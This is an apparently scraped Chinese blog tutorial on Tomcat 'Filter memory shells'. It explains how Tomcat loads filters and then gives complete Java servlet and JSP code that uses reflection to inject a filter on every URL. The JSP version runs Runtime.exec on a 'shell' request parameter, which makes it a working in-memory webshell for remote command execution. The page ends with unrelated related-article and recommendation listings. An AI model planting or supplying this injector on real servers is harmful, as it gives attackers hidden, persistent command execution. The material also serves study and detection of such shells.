tomcat Filter内存马
idea调试的时候加入源代码
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.81</version>
<scope>provided</scope>
</dependency>
Servlet、Listener、Filter 由 javax.servlet.ServletContext 去加载,无论是使用 xml 配置文件还是使用 Annotation 注解配置,均由 Web 容器进行初始化,读取其中的配置属性,然后向容器中进行注册。
Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add/create 方法来实现动态注册的功能。
ServletContext
它会为每个web程序都创建一个对应的ServletContext对象,它代表当前的web应用。 事实上SpringMVC封装的ApplicationContext 以及Struts2封装的ApplicationContext里面都是保存着原本的ServletContext。
作用:
- Web应用范围内存取共享数据;
- 访问web应用的静态资源;
- Servlet对象之间通过ServletContext对象来实现通讯。
ServletContext跟StandardContext的关系
StandardContext:StandardContext是Tomcat服务器中的一个组件,用于管理Web应用程序的上下文(Context)。- 它是
javax.servlet.ServletContext接口的实现类,提供了一些额外的功能和管理能力。 StandardContext负责加载和初始化Web应用程序的配置信息,包括Servlet、Filter、Listener等组件的注册和管理。- 它还提供了对Web应用程序的生命周期管理,例如启动、停止和重新加载等操作。
ServletContext:ServletContext是Java Servlet规范中的一个接口,表示Web应用程序的上下文。- 每个Web应用程序都有一个唯一的
ServletContext实例,用于在应用程序内共享信息和资源。 ServletContext提供了一些方法,用于获取Web应用程序的初始化参数、访问应用程序范围的属性、读取Web应用程序的配置信息等。- 它还提供了一些与Web容器交互的方法,例如获取请求调度器、获取资源的真实路径等。
总结:
StandardContext是Tomcat服务器中用于管理Web应用程序的上下文的实现类,而ServletContext是Java Servlet规范中定义的用于表示Web应用程序上下文的接口。它们的主要区别在于StandardContext提供了更多的管理和生命周期控制功能,而ServletContext则提供了访问应用程序范围的属性和配置信息的方法。
Tomcat 中有 4 类容器组件,从上至下依次是:
- Engine,实现类为 org.apache.catalina.core.StandardEngine
- Host,实现类为 org.apache.catalina.core.StandardHost
- Context,实现类为 org.apache.catalina.core.StandardContext
- Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
Filter 内存马
Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。
通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:
- 使用 ServletContext 的 addFilter/createFilter 方法注册;
- 使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册(将会在 Listener 中进行描述);
- 使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册(非动态,后面会描述)。
追溯Filter的doFilter:
FilterDemo重写了doFilter,如何执行到FilterDemo的doFilter?
ApplicationFilterChain的doFilter被执行,执行了internalDoFilter;
filters[]是存放ApplicationFilterConfig的地方,包含filterDef和fitler对象,取出每个元组,赋值给filterConfig;
Filter filter = filterConfig.getFilter();
然后执行了filter.doFilter(request, response, this);
filters[]是在哪里赋值的呢?
在StandardWrapperValve的invoke中
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);然后执行了filterChain.doFilter。看看createFilterChain里面做了什么?
在ApplicationFilterFactory的createFilterChain中
ApplicationFilterChain filterChain = null;
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();从StandardContext配置文件中获取filter,放入filterMaps
这里是根据前面获取的filterMaps循环来获取的
for (FilterMap filterMap : filterMaps)
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
filterChain.addFilter(filterConfig);
filterChain.addFilter(filterConfig),最后return filterChain。
在ApplicationFilterChain的addFilter中做了什么?filters[n++] = filterConfig;所以最终filters[]里面会有所有filter的filterConfig;
FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和Filter 对象等信息
FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern

fiterConfig的内容都是从context中得到,因此只要我们能控制context的内容就行了
动态注册Filter
经过上面的分析,我们可以总结出动态注册Filter的流程:
- 获取上下文对象StandardContext
- 创建恶意Filter
- 构造FilterDef封装filter
- 创建filterMap,将路径与Filtername绑定,将其添加到filterMaps中
- 使用FilterConfig封装filterDef,然后将其添加到filterConfigs中
package com.example.webshellfilter;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;
import javax.servlet.Filter;
import javax.servlet.ServletContext;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
@WebServlet(name = "filterServlet", value = "/filterServlet")
public class FilterServletDemo extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
//1、通过request获取ServletContext类
//通过request获取servletContext
ServletContext servletContext = request.getServletContext();
//其实这里是ApplicationContextFacade的类
System.out.println(servletContext.getClass());
Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");
applicationContextFacadefield.setAccessible(true);
//获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);
//通过applicationContext对象获取StandardContext
Field standardContextfield = applicationContext.getClass().getDeclaredField("context");
standardContextfield.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);
//将Filter对象通过反射实现加载
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
//2、在Java中,可以使用defineClass方法将一个类动态地注入到当前的JVM中,这里将filter类注入进去
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
BASE64Decoder base64Decoder = new BASE64Decoder();
byte[] code = base64Decoder.decodeBuffer("yv66vgAAADQAWg....");
defineClass.invoke(classLoader,code, 0, code.length);
//3、添加filterDef
System.out.println(Class.forName("FilterDemo").getName());
Filter filterDemo = (Filter) Class.forName("FilterDemo").newInstance();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filterDemo);
filterDef.setFilterName("FilterDemo");
standardContext.addFilterDef(filterDef);
//4、添加filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("FilterDemo");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);
//添加到standardContext的filterConfigs中
//反射获取filterConfigs
//由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];
declaredConstructor.setAccessible(true);
hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));
PrintWriter out = response.getWriter();
out.println("over");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
jsp实现
<%@ page language="java" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.io.IOException" %>
<html>
<head>
<title>Get Request Object in JSP</title>
</head>
<body>
<h1>Get Request Object in JSP</h1>
<%
class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("初始加完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中。。。");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
System.out.println("过滤结束");
}
}
//1、通过request获取ServletContext类
//通过request获取servletContext
ServletContext servletContext = request.getServletContext();
//其实这里是ApplicationContextFacade的类
System.out.println(servletContext.getClass());
Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");
applicationContextFacadefield.setAccessible(true);
//获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);
//通过applicationContext对象获取StandardContext
Field standardContextfield = applicationContext.getClass().getDeclaredField("context");
standardContextfield.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);
//3、添加filterDef
FilterDemo filterDemo = new FilterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filterDemo);
filterDef.setFilterName("FilterDemo");
filterDef.setFilterClass(filterDemo.getClass().getName());
standardContext.addFilterDef(filterDef);
//4、添加filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("FilterDemo");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);
//添加到standardContext的filterConfigs中
//反射获取filterConfigs
//由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];
declaredConstructor.setAccessible(true);
hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));
System.out.println("over");
%>
</body>
</html>
tomcat Filter内存马的更多相关文章
- Java安全之基于Tomcat实现内存马
Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...
- Java安全之Tomcat6 Filter内存马
Java安全之Tomcat6 Filter内存马 回顾Tomcat8打法 先回顾下之前Tomcat789的打法 这里先抛开 7 8之间的区别, 在8中,最后add到filterchain的都是一个fi ...
- 利用shiro反序列化注入冰蝎内存马
利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...
- 【免杀技术】Tomcat内存马-Filter
Tomcat内存马-Filter型 什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述 Filter加载流程分析 tomcat启动后正常情况下对于Filter的处理过 ...
- tomcat内存马原理解析及实现
内存马 简介 Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...
- 6. 站在巨人的肩膀学习Java Filter型内存马
本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...
- Java安全之反序列化回显与内存马
Java安全之反序列化回显与内存马 0x00 前言 按照我个人的理解来说其实只要能拿到Request 和 Response对象即可进行回显的构造,当然这也是众多方式的一种.也是目前用的较多的方式.比如 ...
- Weblogic下的servlet内存马注入-无参照纯调试
目录 1.寻找servlet注入方法 1.1 调试 1.2 servletMapping添加servlet 2.获取request 2.1 从当前线程寻找信息 2.2 JNDI注入到内存马注入 3.关 ...
- 简单学习java内存马
看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ...
- JavaAgent型内存马基础
Java Instrumentation java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序.这种监测和协助包括但不 ...
随机推荐
- MySQL(四)用户与权限管理
用户与权限管理 用户管理 MySQL用户分为普通用户和root用户,提供了许多语句来管理包括登录.退出MySQL服务器.创建用户.删除用户.密码管理和权限管理等内容. 登录MySQL服务器 mysql ...
- opencv基础
Python 和 OpenCV 的结合是计算机视觉领域中应用最为广泛的一种方式,它们的结合使得开发者可以快速.高效地完成各种视觉任务.本文将介绍 Python 和 OpenCV 的基础使用,包括安装. ...
- 在.NET 6.0中自定义接口路由
大家好,我是张飞洪,感谢您的阅读,我会不定期和你分享学习心得,希望我的文章能成为你成长路上的垫脚石,让我们一起精进. 在本文中,我们将讨论ASP.NET Core中的新路由.我们将了解什么是接口(en ...
- Go语言基础: goroutine和通道
并发编程表现为程序由若干个自主的活动单元组成. goroutine 在Go语言里,每一个并发执行的活动称为goroutine.当一个程序启动时,只有一个goroutine来调用main函数,称之为主g ...
- OpenCv人脸检测技术-(实现抖音特效-给人脸戴上墨镜)
OpenCv人脸检测技术-(实现抖音特效-给人脸戴上墨镜) 本文章用的是Python库里的OpenCv. OpenCv相关函数说明 import cv2 # 导入OpenCv库 cv2.imread( ...
- springboot mybatis 动态调用oracle存储过程,通过存储过程名称,就能动态调用存储过程、java动态调用oracle存储过程
由于在开发业务时,可能同时调用的存储过程不知道参数,但是参数从界面.或已经存储在数据库的获取,所以就不希望手动写存储过程的参数,通过简化的调用. 能不能写个动态的业务,只输入存储过程名称,自动获取存储 ...
- pdf 转 word
目录 pdf 转 word 一.思路 二.软件安装下载 1. windows安装 2 certos7版本安装 3. Debian 版本安装 4. 安装字体 三.实现PDF转word文档 四.制作自己的 ...
- JVM有意思的图-持续更新
放一些JVM有意思的图 通过一行代码联想JVM:
- [[SCOI2008]城堡] 解题报告
[SCOI2008]城堡 最大值最小,显然二分答案,但考虑二分后如何 check. \(n\) 个点 \(n\) 条边,显然这是一个基环树森林.对于基环树,常用的套路是拆环为链,枚举删去哪条边.但这题 ...
- 2022-02-15:扫地机器人。 房间(用格栅表示)中有一个扫地机器人。 格栅中的每一个格子有空和障碍物两种可能。 扫地机器人提供4个API,可以向前进,向左转或者向右转。每次转弯90度。 当扫地机
2022-02-15:扫地机器人. 房间(用格栅表示)中有一个扫地机器人. 格栅中的每一个格子有空和障碍物两种可能. 扫地机器人提供4个API,可以向前进,向左转或者向右转.每次转弯90度. 当扫地机 ...